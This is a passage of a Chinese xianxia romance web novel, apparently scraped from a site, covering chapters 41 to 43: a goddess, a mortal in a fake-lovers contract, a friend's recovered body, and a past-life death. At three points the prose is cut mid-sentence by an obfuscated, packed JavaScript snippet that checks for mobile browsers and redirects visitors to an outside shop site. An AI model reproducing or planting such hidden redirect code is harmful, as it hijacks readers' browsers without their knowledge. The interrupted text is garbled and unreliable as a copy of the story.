他话中所指的婚约对象是陆归年,陆析近段日子因为察觉自己心意,经常翻看陆归年和颜笙之间的记忆,偶尔把自己当成是颜笙合法夫君。这话是为他自己问的。 而颜笙眼中陆归年已死,听的时候以为他说的是先前差点订婚的崔攸宁。 颜笙不以为意道:“我前阵入画,碰见柔栀仙子。她提起崔巍那两个儿子,崔大嗜血,崔二断袖。蟾桂宴那日你也在场吧?崔二和紫苏那位男仙,可是眉来眼去得厉害。” 树上传来一阵低低的唏嘘。 陆析还沉浸在宴会的记忆中,忽然肩头被人一推,背脊重重撞上树干。 一阵风起,漫天花瓣迷乱了视线。风止,他定睛一看,颜笙的脸近在咫尺,白皙如玉而不见一丝瑕疵。那一刻,他才意识到,事情不太对劲。 “你还要骗我到什么时候?”颜笙双手掐住他的脖颈,指尖一点点收紧。 “我骗上神什么了?”陆析仰头望着她,眼神何其无辜。 “魔头,”颜笙咬牙,声音低沉,“你装作凡人混进我门下,到底意欲何为?” 树梢上传来压低的窃语:“十世善人哪像魔头?怕不是那位上神守寡守出幻觉了……” “可能打情骂俏……” “感觉不像。” “那位上神不是追过这凡人吗?怎么现在……” “好像她又看上了崔瑶她爹……” “别胡说!刚她说过来着,崔六好龙阳……” “那是崔二......” “哪来的鸟叫?”颜笙神色一冷,抬眼望向树梢,“再聒噪,我就割了你们的舌头,做成提灯。” 话音落,那片枝头顿时安静如死。纵使此刻又有风过境,树梢的叶子也都纹丝未动。 颜笙忽而厉色消褪,松开掐着他脖子的手。冰凉的指尖从他喉结处掠过,像不经意的试探。她的唇角微微扬起,语气带着几分冷意:“我倒要看看,你还能骗到几时。” 下一秒,颜笙忽然俯身,故意逼近他的脸,原本只想观察他眼底里反应,却不慎唇瓣擦过他的。 那距离仅仅是让唇瓣微微相贴,却带给陆析超乎预料的精神愉悦,他登时心潮澎湃,呼吸也变得急促。 他怔了片刻,随即反手揽住她的腰,将这个突如其来的吻坐实,然后逐步加深。他感觉到怀中人似已生出逃离的念头。她在他怀中不安地扭动,这却使得他加大怀抱的力道。 他呼吸炙热,手掌贴在她纤细而紧实的背部,沟壑是她长年修炼留下的痕迹,也见证过他们在凡间时的相依相伴。 眼见着颜笙不再挣扎,双目逐渐迷离,陆析将她按倒在自己怀里,看她也不反抗他,似是已经缴械投降。 陆析企图翻身,将颜笙压在身下,颜笙忽而瞳孔收敛,猛地推开了他。 “魔头,没看到我不想继续了吗?吻技这么烂,哪里比得上张……”颜笙掏出手帕,嫌恶地擦了擦嘴,仿佛刚刚不是在接吻,而是在啃一块树皮。她越发怀念起梦里那个不仅眼底有光,连动作都格外合拍的“张脆枣”。 她忽而觉得哪里不对劲,眉头微蹙,语气严肃地质问:“不对,我明明睡过你,你怎么元阳还在?” 树上齐刷刷传来倒吸冷气的声音,那动静大得仿佛要把方圆五里的空气瞬间抽干。 “听听,这是什么虎狼之词!上神这是反复薅羊毛!” “堂堂上神,吃干抹净不认账也就罢了,竟然还嫌弃人家业务能力?” “那个‘张……’又是谁?天道在上,她到底还有多少个‘好弟弟’?” 陆析半晌没说话。 颜笙冷静下来,这才反应过来。陆析元阳尚存,所以他根本不可能是陆贺年。毕竟陆贺年和她前世形同夫妻,还有一个孩子,他哪可能还保留着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107318|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元阳。 也就是说,她刚刚调戏了一个……没开荒的。 颜笙面色微变,半眯着眼睛,手掌托着半歪着头,语气极力装作镇定地解释:“抱歉,我……我有个毛病,喝醉了就容易乱亲人。” “你又没喝酒,唇间一点酒气都没有。”陆析冷冷地看着她,仿佛看透她的想法:“都推到酒身上,是想逃避的责任?” 颜笙张了张嘴,没想到任何能反驳的话,只好老实道歉:“好吧,是我唐突了。我是想确认一位熟人,没想到看走了眼。” 她停顿了半天,看陆析没说话,又道:“也没有夺走你的元阳,只不过一个吻而已。要实在是介意,回头可以补偿你……” 她原本是想说“延寿丹”三字。可话未出口,猝不及防地,她的嘴唇又被陆析贴上。 他的唇带着微凉,却吻得极深,像是在草原上纵马行军的战士。他咬着她的下唇,力道不重,却带着隐隐的惩罚意味。 颜笙被逼得后退几步,背贴在树干上,手指抓紧了他的衣袖,却感觉自己的衣襟也乱了,隔着衣料能感觉到他浑身炙热,还有更危险的感觉对她虎视眈眈。 她赶忙推开他。 陆析也觉察到自己的不对劲,暂时松开了颜笙,在旁边努力压下自己的渴望。 颜笙以为这场闹剧已经结束,又端起上神的架子。她冷冷扫他一眼,指尖抚了一下红肿的唇,平静地拉踩道:“吻技也就那样。天道在上,但愿那魔头不会这么差,害我受今日这罪……” 她话未说完,口中纳入了他更急烈的攻势。 他再次伸手,带着赌气地再度吻上她,他撬开她的唇齿,与她唇舌交缠,但她,用力咬了一口他横冲直撞舌头,才将他拉回理智。 “混账凡人。”颜笙用尽身上最后一点力气,扇了陆析一巴掌,但她这掌就像棉花似的,也没造成半分疼痛。 颜笙被亲得浑身瘫软,实在无法保持端正踞坐的姿势。她半靠在树干,虽然想再骂几句,但怕他继续吻她,只好压抑怒气,说道:“刚才补偿说的是丹药,不是双修。” 陆析凝视着她,回味着唇间的滋味,神情舒适而平静:“只是想替颜笙上神再确认一遍,我并非你口中的魔头。” “既然不是,那你还……”颜笙抬眼瞪他,但对上他暗暗的目光,她立刻犯怂。她被那目光盯得发虚,抬起双手盖住他的嘴,语速极快:“是我今日逾矩了,以后不会再犯。还请你赶快忘了。” 陆析沉默地看着她,她的手心仍贴着他的唇,能感受她手心的温软触感,还有因为紧张而跳动的脉搏。 微风拂过,她眼底里的树影微晃,心底里也泛起涟漪。 陆析抬手,轻轻拿下颜笙手,云淡风轻地表示:“若上神不知‘循规蹈矩’该如何写,也可以不写。” 颜笙被他噎得愣住,眨了眨眼。 “我会写啊。” 颜笙忽然蹲下,捡起一根树枝,认真在沙地上写下那四个字。 循规蹈矩。 颜笙写完字,搁下树枝抬头,只见陆析脸色发青。她看向自己写的字,疑惑地问道:“我写错了吗?” 树上的一对鸟喈喈鸣叫,像是被压抑的嘲笑。 颜笙微微抬头,只见树影轻晃,隐约有无数人影在枝叶间晃动,心中更是来气。她撒气般地朝茂密树冠一指,食指指尖射出一道仙法。 倏忽狂风起。 那棵桃树被吹得摇摇晃晃,几乎要被连根拔起。大批的鸟雀飞起,花瓣翻卷成一阵红粉风暴,又铺天盖地地落下。 下一刻,只听“轰”地一声,黑压压一团影子从树上坠落,如沸如羹,如鼎凿地,还砸出一个骇人的大坑。 颜笙拍了拍衣袖,检查一下坑底的战果,愕然杵在原地,喃喃道:“好多人……” 那坑底堆满了跌落的神仙,姿势千奇百怪。准确地说,里面是桃源一半的人口。他们躺在坑底,如咸鱼打挺般仰望星空。 崔攸霁第一个爬起来,瞅见颜笙脸色不妙,一把拽起崔瑶,连忙驾云溜走。 其他神仙也纷纷招来逃跑用的云彩,向四面八方逃散,一时之间,满天都是云雾翻滚,仿佛谁在桃树的天灵盖上贴了一层厚厚的膏药。 那阵混乱,引来了刑部劳模袁思邈。他见眼前这番景象,不由眉开眼笑,今夜开出不少罚单,月度奖金大约又要数到手抽筋,心头极度舒爽。 颜笙懒得理会,反正她一个子没丢。她只觉得头痛,抬手揉了揉眉心,对陆析说:“天色不早了,你随我回去吧。” 陆析踩在绵软的花毯上,却不肯走:“今晚的事,颜笙上神不打算负责?”说完,他指了指自己的嘴。 颜笙一愣,想了想,语气认真道:“我夺了你的初吻,确实该负责。那就……做一段时间的仙侣吧。不过,我们只能做假的。” 42. 茶冷 次日清晨,一缕阳光透进客栈甲等客房。陆析醒来,下意识地摸向仍残有余香的枕边,却摸了个空,只好将枕头抱入怀中。 帷幔自外被轻轻掀开,明光倾入,陆析抬眼,见颜笙正向他走来。 她在床沿坐下,从他怀里抽走那只枕头,语气平静:“昨晚说好的,不许主动对我有不端行为。这合约签下还不满两个时辰,你就想赖账?” 陆析茫然地问:“什么合约?” 颜笙扬手,显出一张崭新的羊皮长卷,递到他手中。 羊皮卷上密密麻麻写着一整页细字,大意是陆析已同意与颜笙扮作假情侣,并自愿遵守卷上所有条款,为期半年。事成之后,颜笙将替他在桃源讨一个封号。 陆析看完几行字,差点笑出声。 他身上背负着天道的记忆,很大可能自己就是天道,万物皆受他掌控。世上无论神尊还是颜笙,都无法册封他。 换言之,这份合约对他毫无益处。 陆析继续往前翻,越看越觉得头疼。 昨夜两人回到住处时已是深夜。圆胖橘睡得正熟,鹿不沾可能因为昨夜树林里的闹剧,导致连夜逃到客栈,回房后还上了锁。 那时颜笙忽然邀他,说自己房里还空着一张床,可以借他一宿。 陆析当时困意朦胧,外加上自己因树林里这女上神表现的顺从,叫他心里生出几分轻飘飘的错觉。不知哪来的鬼使神差,他竟真的跟她进了屋。 可颜笙请他进来并非单纯留宿。一进门,她就提议两人签个假情侣契约。 于是整整一夜,他们都在商量条款。 更准确地说,是她在提,陆析在困。 颜笙一口气列了五百多条,全是她占据有利地位的内容。至于他呢,全程一声不吭,只顾点点头,活像颜笙家养的点头怪。 他困得昏昏欲睡,连内容也懒得细看,就稀里糊涂在卷上按了自己的指印。 这羊皮纸卷是颜笙所有,其中有一条最为荒唐:颜笙可单方面解除合约,陆析若想要解约,必须征得颜笙的同意。 陆析越想越气,实在忍不得这等不平之约,但也只能忍气吞声,去外面转转散心。 他起身解了门口的隔音咒,推门欲走,却愣住了。 门外正整齐地站着一排人。 颜笙一个箭步赶上,一把挽住他的手臂,笑着同他并肩望向门外。 门外站着圆胖橘、元沁雪、季福来,还有两张陌生的脸。季福来忙介绍:“这是我弟季福宝,我妹季茯苓。” 原来季家三兄妹是来给陆析送通关文书的。 他们先敲了陆析房门,却开门见到圆胖橘,陆析不在。鹿不沾知道后,善意地指了指颜笙的房间。 颜笙神色自若,伸手接过通关文书,淡淡致谢。她翻开文书看了一眼,里面是沈华裳的自述。 “这样就能算任务完成?”颜笙有些迟疑。 季茯苓看出她的犹豫,笑着解释:“这任务是我发的。目的就是请颜笙上神前往来福村。” 颜笙追问几句,才知沈华裳并非自愿嫁给崔巍,只因惧怕他的势力,不敢明拒心意。 季家早听说桃源的颜笙法力高过崔巍,而她的道场鹤冲山又离来福村不远。正好近来抱朴派频繁派弟子下山济世,季家便自作主张,向抱朴派发了委托。 颜笙一行人虽然完成任务的方式出人意料,但结果皆大欢喜。崔巍没能娶到沈华裳,短期内也不太可能再现身。 然而有一事令颜笙颇为郁闷——季家三兄妹都亲自来迎她,唯独沈华裳迟迟未现,似乎刻意避着不见。 她不解:沈华裳究竟在气她什么? 虽说对她放过狠话,可明明那日在识海中,沈华裳并不厌她,还帮忙打晕了假陆归年。难道是怪没能带着她一起出家? 颜笙难得得见昔日挚友的踪迹,不愿错过这次和解的机会,便央着季家兄妹,带她再去拜访沈华裳。 花朝节的次日,天朗气清,和风熏柳。 街道丝毫不减前日热闹,道路两侧林立着各色摊位,摊贩叫卖声不绝于耳。沈华裳看眺望窗外佳景,猛吸一口花气,顿觉心旷神怡。 坊门外车水马龙,她望着那一列列车辇,暗想哪一辆里是颜笙。叹息间,她有几分遗憾,终究没能亲自送别颜笙。 门扉叩叩作响。沈华裳开门,竟见颜笙站在门口,唇角带着淡淡的笑意:“华裳,可以进来吗?” 沈华裳怔了一瞬,随即侧身相迎,吩咐婢女取一盘荔枝,又挥手让其退下。 颜笙落座后也不客气,信手剥了几颗,笑道:“果然还是鹤冲的荔枝最甜,桃源那边差些。” 沈华裳微愣,低头又剥了一盘干净的荔枝,推到她面前:“桃源境的荔枝是你亲手种的,能差到哪去?” 颜笙随手拎起茶壶,往自己碗里倒了半盏茶,轻抿一口:“这茶……是永安?” 沈华裳点头:“是。嫌浓?我只喝浓茶。” “永安可是上品茶,还是华裳待我好。”颜笙笑眯眯地称赞,抓了几颗荔枝塞入口中,忽然话锋一转:“对了,你接下来有什么打算?还想飞升吗?我记得神尊说过,你的修为早该到化神期了。” “是吗?”沈华裳神情一怔,似乎真被惊到,随即站起身,走到窗前。 颜笙疑惑,亦步亦趋跟了过去。 岂料,沈华裳猛地回身,一把推开颜笙,反身跃出窗外。 颜笙惊呼一声,急奔到窗前,伏在窗框焦灼地俯望。 却未见血迹,只见沈华裳稳稳落地。她身下,竟垫着另一个女子。 那女子……竟有着与颜笙一模一样的脸。 来福村里,竟同时出现两个颜笙。 地上的那一位稳稳扶起沈华裳,与旁边的陆析对视一眼,随即抬头,看向楼上的窗口。屋内那位“颜笙”正俯身探出,与她四目相接。 那人面色骤变,转身便逃。 忽有一道光自外射入,正中那假颜笙的手臂。她闷哼一声,捂着伤口退到墙边。 良久,外头再无动静。 假颜笙以为真颜笙等人已去,便悄悄探头,欲施法遁走桃源境。 谁料,又有数道光影疾射入窗内,假颜笙闪身避开,脚下光华骤亮,四道光墙自地升起,将她困在原地。 颜笙疾步赶到厢房门前,一把推开门。 屋内结界之中,果然立着一人,眉眼神态,竟与她一模一样。 假颜笙只是抬手一按,结界便应声崩散,风暴骤起。 沈华裳惊呼着拽住颜笙的袖子,陆析也手扶着门框,却被气流卷出门外,颜笙顺势拉住他的胳膊,将他放到自己身侧护着。 三人眼睁睁看着那假颜笙乘风飘出窗外,转瞬间消失无踪。 风止,邪风肆虐过的窗户和门扉已经破烂不堪。颜笙捡起几根树枝和石子,施法变成木板和石灰,将门窗和墙壁修好。 沈华裳忙命婢女重新端来一盘荔枝,以表谢意。 颜笙笑着剥了一颗尝了尝,又将余下的推到桌心:“你们吃吧,我很少食甜食。”她给自己倒了碗茶,仅端详了一下茶色,尚未入口,便笑道:“这茶有些冷,再唤人添壶热水吧。” 沈华裳看着她的神情,心头渐安,眼前这位的确是真的颜笙,昔日素来嫌茶浓,却从不明言,总要借“添水”为由。此刻这习惯如旧。 她便转头吩咐婢女:“去库房,把我珍藏的‘同尘’拿来。” “同尘”是淡茶,很合颜笙口味。她果然不再提要热水的事,只静静地端盏凝视镜面般光洁茶面,似在出神。 陆析轻轻颔首,心头却不平静。 他忽然忆起在鹤冲派时,陆归年所饮的“天渌”,是比永安更高一品的浓茶。那时颜笙嫌茶冷,陆归年却只笑她:“茶不必太烫,水温七分正好。” 如今想来,他的自诩体贴,不过自作聪明罢了。他以为给她世间最好的事物,其实连她不爱浓茶都不曾察觉。 她厌他,也就不难理解了。 沈华裳端着茶碗,忽而问颜笙,“方才那人是谁?竟能化作你的模样?” 颜笙神色未变:“是崔巍。这世上能破我结界的,也没几个人。”她顿了顿,又安抚道:“不过这次他并无杀意,怕是只想看看你。” “看我?”沈华裳冷哼一声,怒气未消:“前阵还要杀我,如今又要娶我。男人啊,都以为天下离不开他们。” 陆析看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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若真如此,陆归年自然不会希望颜笙知道,她身边有个另外保护她的骑士。 而那副模样,偏偏合了颜笙的眼缘。若是现在的颜笙知道,肯定会义无反顾地与那人再结连理。 所以她也懒得多说,只笑不语。 陆析与她对上目光,两人心照不宣,最后谁也没开口。 屋内静得发冷。 颜笙觉察气氛不对,便伸手覆在陆析手上,对沈华裳笑道:“忘了介绍,这位是陆析,我目前的……恋人。” 她略显局促,其实心底里瞧不上陆析,所以暗搓搓又想体现出两人不会长久,便又补了一句:“他是凡人。” “凡人?”沈华裳挑起蛾眉,心说他不是天道吗?天道竟装到这份上。既如此,她倒也乐得借机敲打。 她轻轻把两人分开,握住颜笙的手,笑意温柔,话却锋利:“你们不合。凡人寿命有尽,他总要投胎。到时候你怎么办?除非他像我一样,化作游魂苟活,方能不生不灭。” 陆析唇角微动,未语先冷。颜笙正欲解释,他已将茶杯推到她面前。她顺势抿了一口。 陆析淡淡接话:“你在混沌界滞留太久,魂魄早已发虚。再过千年,恐怕连游魂都做不成。” 这话让沈华裳脸色一白。 颜笙放下茶杯,剜了一眼陆析,伸手握住沈华裳的手安抚道:“别怕,他吓唬你呢。回头我替你踅摸一副躯壳,等你有了身体,魂就稳了。” 手心温暖真切地传来。沈华裳嘴角上扬,得意地瞥了陆析一眼,轻拍颜笙手背,“有你这句话,我就安心了。可别再抛下我。” 颜笙连连点头。她想起沈华裳先前的命运,眼中闪烁一丝愧色。 陆析懒得再看沈华裳炫耀颜笙对她的好,心想真要争风吃醋,也轮不到她。 他低头拨弄茶盏,指尖轻叩盏沿,发出细微的声响,似在思索着陆贺年的事。看上去,那陆贺年不打算再躲在背后了,幸好自己比他多点名分,赢面稍微大点。 颜笙和沈华裳相谈甚欢,忽喊陆析过来,嘱咐道:“你在鹤冲山,离来福村较近。平日有空下山,要多帮衬一下羽之。” “沈娘子是楚楚的朋友,我也会尽一份力。”陆析答应道。 颜笙说过:“既然这样,我们也能安心离开了。” 陆析却道:“先走不了。沈娘子灵魂里困着别人的魂魄。不将她解救出来,恐怕崔巍还会再来。” 43. 凤在上(一) 来福村外,鸽子山上 “这里怎会有道坑,昨日是有陨石坠落了吗?”沈华裳望着桃树前方那口巨大深坑,惊讶感叹。 “我也不是很清楚!”颜笙摇头,尴尬地与陆析对视一眼,又道:“我们昨天没到过这里,对吧?” 这事她没法和沈华裳说清楚。总不可能说,昨夜她和陆析亲近时,遇到有人窥伺,便顺手将藏在树梢里的桃源境半数仙班拉了下来,结果生生砸出这片深坑。 某种意义上,这也算是陨石坑,半片天都坠下来了。 颜笙万万没想到,沈华裳的尸首,居然就在这坑洞附近。沈华裳方才还说,她的尸身似乎并未腐败,所以也不必劳烦别人再做一具新的。 沈华裳飘入坑中,指了指脚下:“我记得当时就是埋在这里。那场叛乱结束后,狗皇帝想挖我尸首出来与他合葬,却始终找不到我的棺椁。” 颜笙摇摇头。此处陨石坑足有五丈深,若底下真埋着人,昨日仙人们砸坑时必定有所察觉,可昨日谁也没发现异常。 陆析抬头看向坑洞边的巨树,忽然感慨:“这棵树至少有千年寿数,竟还未曾化神。” 听到这话,颜笙心中一动,踩上裸露地面的树根,靠近大树,将灵力缓缓注入树干。 那株桃树树干中央,忽然显出一道旋涡,仙及先一步“唰”地钻了进去。颜笙把手按在漩涡上,随即也被卷入其中。陆析和沈华裳见状,紧跟其后。 众人入树之后,旋涡倏然收紧,树中登时幽黑如墨,不见五指。颜笙与陆析各自点起光亮,一人行在最前,一人断后,把沈华裳夹在中间。 他们一路行去,只觉前方道路越走越窄,正疑惑间,忽见前头透出一线微光。 前方是个极为狭窄的小洞。仙及先钻出去探路,又折返来报告。知晓前路无虞,几人便依次从洞中钻出。 他们走进一片桃花林。林中桃树开得正盛,绯红如霞,沁着醉人花香。 一只玄色小鸟忽然自高处俯冲而下,把仙及吓得六神无主。颜笙忙打开两仪袋,将仙及收进去藏好。 然而玄鸟并未冲着仙及发难,反而轻巧落在颜笙的肩上,如同通灵一般,在她耳畔叽叽喳喳说个不停。 颜笙听不懂。只见那玄鸟从她肩头飞起,停在半空中振翅,宛若美玉洒清辉。 沈华裳指了指玄鸟:“似乎是想替我们引路。” 玄鸟合了一下翅膀,似是肯定沈华裳的意思,随即振翅转身,领着他们往前飞去。 他们跟着玄鸟,往桃源深处行走,不过百步,便见路尽头赫然立着一座土砌的宫殿,颇有几分玄鸟国皇宫的旧制风格。 玄鸟飞入宫殿,再也没有出来。颜笙犹豫着要不要跟上,他们当下并不清楚殿内情形,不敢轻举妄动。 仙及从两仪袋里探出脑袋,一头扎进宫殿。 半晌,颜笙打开仙及传回来的画面,只见殿内黑沉沉一片。 这时仙及忽然被人拎了起来,画面一晃,随即定住。只见画面中出现一位清婉女子,华服加身,头戴羽毛织成的冠冕,对着他们这边说道:“颜儿还不进来?我遣信使请你,你却在外头傻站着。” 颜笙看她衣冠打扮,应是玄鸟末代皇宫的旧制,便遵照玄鸟的礼法对其行礼,随后问:“敢问您是……” 女子笑意爽朗:“你寻我这么久,竟还不知我生得什么样?” 沈华裳悄悄拽了拽颜笙的衣角,小声道:“好像是你小时候梦里的那个,你一直在找的娘亲。” 颜笙忽想起来,她幼时偶尔也会梦见玄鸟国的事,却是个怕死的,从没真想顺着梦里的线索去寻真相。自从上了鹤冲山,她再也没有做过那些梦。 她心里明白,陆归年很不愿她回想玄鸟旧事,很大可能是趁她睡着时,封印她不少记忆,害得她至今都没能想起全貌。 眼前这人,应当便是子颜的生母南歌子。 颜笙踏入宫殿内,总算与南歌子正式见面了。 南歌子生前是女将军,性子与谋士出身的莲江仙不同,平时不懂拿捏人心,更不可能见面又抱又哭。她见到颜笙,只是淡淡道:“颜儿,我们又见面了。” “母后。”颜笙轻声唤了一句。她脑海中只有零星的子颜记忆,多数还是近来才被补全的。毕竟她已经投胎转世八十一次,足足服了八十次忘川水。 南歌子倒也不怪她一忘皆空。她平生真要较起真来恼火的,也就两个人:一位是玄鸟国时期那位强迫她下嫁、害得她只能做地仙的神尊;另一位,便是奉天国出身的天道陆归年,自他升为天道后,便对她和子幽发下通缉令。 南歌子与颜笙诉苦半晌,越说火气越大:“陆归年是什么出身?听说奉天那地方,男人一个个都是庄稼汉,上等贡肉都不敢吃,穿衣还得袒着半边胸膛,简直伤风败俗!” 颜笙咳了一声:“现在穿衣服的,牲畜的肉也吃的。玄鸟亡国之后,我就住在奉天皇宫里,给他二哥陆贺年做法事。” “也就他二哥长得还算顺眼。”南歌子的怒气稍稍缓了些,毕竟听闻陆贺年宰了她的头号仇人神尊,“哪像陆归年,一朝得志,竟敢通缉我和你爹。你爹听说是被抓走了,这些年我东躲西藏,最后躲到了这棵桃树里。” 颜笙叹了口气:“很不幸,陆归年成了你的女婿。但稍微安慰的是——我把他杀了。” 南歌子听到前半句时只觉天塌地陷,听完后半句却喜笑颜开,抚掌而笑,“大快人心!那你父王有被放出来?” 颜笙点头:“在桃源里做着闲差呢。娘要不要上去团聚?” “上去可以,团聚休想。”南歌子利落道,又捏了捏拳头,“子幽那个糊涂蛋,差点把我拿去配冥婚。我回去得好好找他算账!” 颜笙干干地笑,也不阻挠,又问:“您是这里的地仙,可知我朋友沈华裳的尸身在何处?” “知道。”南歌子瞥了眼颜笙身后的沈华裳,也不多问,领着他们往后山去了。 后山停着一尊冰棺。南歌子替他们推开棺盖,里头躺着的正是沈华裳的尸体,果如沈华裳所言,半点腐败都无,面容与生前无二。 南歌子介绍道:“你所说的沈贵妃,就是在这里。” 颜笙确认沈华裳尸身未腐,舒了一口气。这样,她便可以直接用自己独门的《金蝉术》,为这具躯壳填补灵魂,也不需要再费力寻材料重塑肉身。 沈华裳凑过去,看见棺中“自己”的手里紧紧握着一根发钗,雕成展翅凤凰的模样,便取下来,问南歌子:“这是什么?” “也不晓得,你下葬时就在棺里头,估摸是你的陪葬品。”南歌子接过凤钗,细细打量,“哟,还折了一只翅膀。不过模样倒是好看。你若不想要,可以送给我。” 颜笙一眼就认出凤钗的来历,忙伸手把凤钗抢回来,说道:“这是花朝公主的遗物。” 南歌子只见过颜笙两次这般像只老鹰护食。一次是为了陆家那根破骨头棒子,后来勾搭到陆老二。一次是为了这支金钗。她不禁纳闷地问:“公主的遗物,你拿去做什么?你又不是驸马。” 颜笙指尖抚过凤翅断裂处,眼神幽暗了一下。 陆析道:“这里原先寄存着残魂,后来……”他看了一眼南歌子,“你说吧,你窃取尸身,可是为了凤钗里那缕子颜的残魂?” 南歌子掌心凝光,捻出一抹微弱的魂魄递给颜笙:“本来打算偷偷还你,既然你的面首问出来了,那就正大光明给你。” 颜笙将那缕魂纳入金钗,云淡风轻地表示:“无妨,我魂魄早被天道修整过,残缺着都飞升完了。” 她前生灵魂本就不全,即使多了这片也还是有缺隙的。这才导致她前世使用非常规手段,不断切割重组灵魂,最后才险险飞升。 这一缕归位,对她而言也不过是多添几段记忆。 凤钗被她紧紧握在掌心,或许是她用力过猛,指缝间渗出鲜血。凤钗微微颤动,化作一道流光,从她掌中挣脱,自行悬在半空。 沈华裳顿感头脑发昏,一缕青烟如挣扎的孤虬,从她的天灵处钻出来,盘旋缠绕在颜笙左右,闷得颜笙额头沁出汗珠。 “是怨气,沈华裳体内另一个魂魄的怨气。”陆析伸手便要打散那怨气,却被颜笙挡住。 颜笙厉声警告:“还记得你如何答应的我?没有我的允许,不可触碰我身,也不可对我施法。” 青烟最终被凤钗吞入其中,归于寂静。颜笙掌心的伤口缓缓愈合,她凝视着那支凤钗,眼中终于浮起几分宽慰。 然而陆析见她脸色惨白,一个箭步上前,将人稳稳揽入怀中。 * 颜笙再睁开眼时,发现自己悬在半空之中,脚下则是大庚皇宫内的花朝殿。 四野兵戈相击之声不绝于耳,刺耳而悲哀。她垂眸望去,只见一条朱砂色的长蛇蜿蜒在白玉石阶上。细细再看那不是蛇,蛇头处竟是曾经的萧知颜,那是她匍匐时流下的血迹。 萧知颜背插万箭,伏在白玉石阶上,血液染红了来时之路。她无暇回头,似笃定自己走上不归路。 不远处,少年天子高盛张弓搭箭,正瞄准这位匍匐着的宰相。那位史书上记载,最会趋炎附势的女宰相。 高盛,正是那位老皇帝的本名。别看在沈华裳梦境里,他老年时面目可憎,年轻时相貌算得上隽朗,因此当初萧知颜才会对他起了几分信任。 在颜笙作为萧知颜时,直到生命最后也不明白,这家伙为何要杀她?尤其她看见了沈华裳的记忆,高盛还口口声声说着喜欢她,还在屋内立像为她招魂。 颜笙飞身上前,夺过他手里的弓箭。高盛看不见她,只瞧见弓弦上那支箭凭空飞起,迟迟没有下落。 “你就是萧知颜的奸夫?那个来自幽冥的魔王?”高盛冷声喝问。 魔王?三界哪来的魔族? 倒是她指代陆贺年的时候,老喜欢用“魔头”这个词。 颜笙琢磨着:他口中的“魔王”,难不成真是陆贺年?她与陆贺年在弑神事件后,还有一面之缘?可关于这一段,她的记忆一片空白…… 高盛像是压根看不见地上的萧知颜似的,又取下斜跨腰间的桃木剑,对着空气胡乱刺画,状若画符。 颜笙捂嘴失笑:这点雕虫小技,也想伤她? 高盛舞剑舞得气喘吁吁,方才停下,抬头威慑道:“朕乃天子,真不怕你。” “地底下那位,还是‘天’的哥哥。”颜笙懒洋洋道,“你若是天子,见着萧知颜,岂不是该叫一声婶婶?” 她手里轻轻一抖,弓箭应声折断。 高盛听不见她的声音,只弯下腰去摸地上的残弓碎箭,自言自语道:“我也不想杀她,只是她同魔族苟合,已不是人了。” 颜笙听得一头雾水,摸向两仪袋去找金钗,虽然没找到那金钗,不过新拾得的那缕魂在她体内归位。 她忽然记起一些旧事。 当年无常界有噬魂怪上了人间,四处滋扰生灵。钦天监推算多日,最后认定以凡人的力量无解,而天道不仁更不会干涉,只能去求驼铃火渊中的陆贺年,唯有他镇得住那些怪物。 钦天监的官员几乎都被派去幽冥,却谁也没见上陆贺年一面。最后司正算出一条路,此处唯有萧知颜可破,因为萧知颜容貌与陆贺年生时的恋人子颜极像。 花朝公主高宁与萧知颜自幼一起长大,自然不肯放她涉险。萧知颜只得先与高盛商量,要他替自己掩护一阵,谎称这段日子住在他府上,实际上则悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116273|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然下到幽冥去。 一去三个月,陆贺年果然出手,将所有噬魂怪拖回了地底。 也正因如此,高盛对她的忌惮与日俱增。 颜笙一脚踹在高盛背上,又踩了上去,冷声道:“明明是忌惮我能召来陆贺年,怕我与你争权,偏偏口口声声拿□□那点事说事。” “你们这些女人,一旦能左右天意,就不该活着。”高盛阴沉的声音从牙缝里挤出来,他拿着残破的弓,拉满了弦,怒目道:“什么女皇、长公主、女宰相,女人凭什么立在男人头上?” 最后一箭自弓弦脱手,划破犹寒的春风,裹着那一日的痛楚,再一次洞穿了萧知颜的身体。这场死劫,在花朝殿的外面,被无数次重演。 颜笙踹了高盛一脚,“凭你娘比你爹清楚,你是她亲生的。” 她松松筋骨,这才转头。萧知颜的鬼魂仍在攀爬着无穷无尽的台阶,爬上了最后一阶,转瞬间又跌回最底层。 这仿佛有个无穷无尽的楼梯,还有个一直爬楼梯的女人。 萧知颜早就死了,只一缕残魂被强行困在花朝殿,无法进入下一世的轮回,又被自己的执念驱使着,一遍遍重演生命最后一刻。 颜笙看不下去,抬手对过去的自己施法,硬生生介入这场旧梦。 * 萧知颜终于拼尽力气,攀上最后一级台阶。平地上匍匐远比爬阶省力,可她却觉得身子比先前更加沉重,更难行动。 一支羽箭自早已张弦的长弓射出,疾飞而来。 箭矢撕裂春寒,发出尖利的声响,尚在挣扎的萧知颜只当新的死亡循环重启,她又要回到第一阶重新攀爬。 疼痛感未如约而至,她也没有从阶梯跌落。这是循环结束,她要到下一世了? 